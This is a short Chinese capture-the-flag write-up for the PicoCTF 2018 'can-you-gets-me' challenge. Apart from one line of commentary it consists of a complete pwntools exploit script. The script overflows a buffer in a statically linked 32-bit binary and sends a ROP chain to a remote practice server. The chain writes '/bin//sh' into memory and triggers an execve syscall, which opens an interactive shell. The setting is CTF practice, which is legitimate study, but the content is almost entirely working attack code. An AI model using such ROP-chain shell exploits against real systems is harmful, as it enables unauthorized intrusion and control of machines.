静态链接的题目,记得也有一道类似的题目,这个可以用mprote函数改变某段的执行权限然后用shellcode填充,那个方法没实现。。。ropchain比较方便

    1. #coding=utf8
    2. from pwn import *
    3. from struct import pack
    4. context.log_level = 'debug'
    5. #io =process('./PicoCTF_2018_can-you-gets-me')
    6. io =remote('node4.buuoj.cn',28831)
    7. def pay():
    8. p = ''
    9. p =b'a'*(0x18+4)
    10. p += pack('<I', 0x0806f02a) # pop edx ; ret
    11. p += pack('<I', 0x080ea060) # @ .data
    12. p += pack('<I', 0x080b81c6) # pop eax ; ret
    13. p += b'/bin'
    14. p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
    15. p += pack('<I', 0x0806f02a) # pop edx ; ret
    16. p += pack('<I', 0x080ea064) # @ .data + 4
    17. p += pack('<I', 0x080b81c6) # pop eax ; ret
    18. p +=b'//sh'
    19. p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
    20. p += pack('<I', 0x0806f02a) # pop edx ; ret
    21. p += pack('<I', 0x080ea068) # @ .data + 8
    22. p += pack('<I', 0x08049303) # xor eax, eax ; ret
    23. p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
    24. p += pack('<I', 0x080481c9) # pop ebx ; ret
    25. p += pack('<I', 0x080ea060) # @ .data
    26. p += pack('<I', 0x080de955) # pop ecx ; ret
    27. p += pack('<I', 0x080ea068) # @ .data + 8
    28. p += pack('<I', 0x0806f02a) # pop edx ; ret
    29. p += pack('<I', 0x080ea068) # @ .data + 8
    30. p += pack('<I', 0x08049303) # xor eax, eax ; ret
    31. p += pack('<I', 0x0807a86f) # inc eax ; ret
    32. p += pack('<I', 0x0807a86f) # inc eax ; ret
    33. p += pack('<I', 0x0807a86f) # inc eax ; ret
    34. p += pack('<I', 0x0807a86f) # inc eax ; ret
    35. p += pack('<I', 0x0807a86f) # inc eax ; ret
    36. p += pack('<I', 0x0807a86f) # inc eax ; ret
    37. p += pack('<I', 0x0807a86f) # inc eax ; ret
    38. p += pack('<I', 0x0807a86f) # inc eax ; ret
    39. p += pack('<I', 0x0807a86f) # inc eax ; ret
    40. p += pack('<I', 0x0807a86f) # inc eax ; ret
    41. p += pack('<I', 0x0807a86f) # inc eax ; ret
    42. p += pack('<I', 0x0806cc25) # int 0x80
    43. return p
    44. payload=pay()
    45. io.sendline(payload)
    46. io.interactive()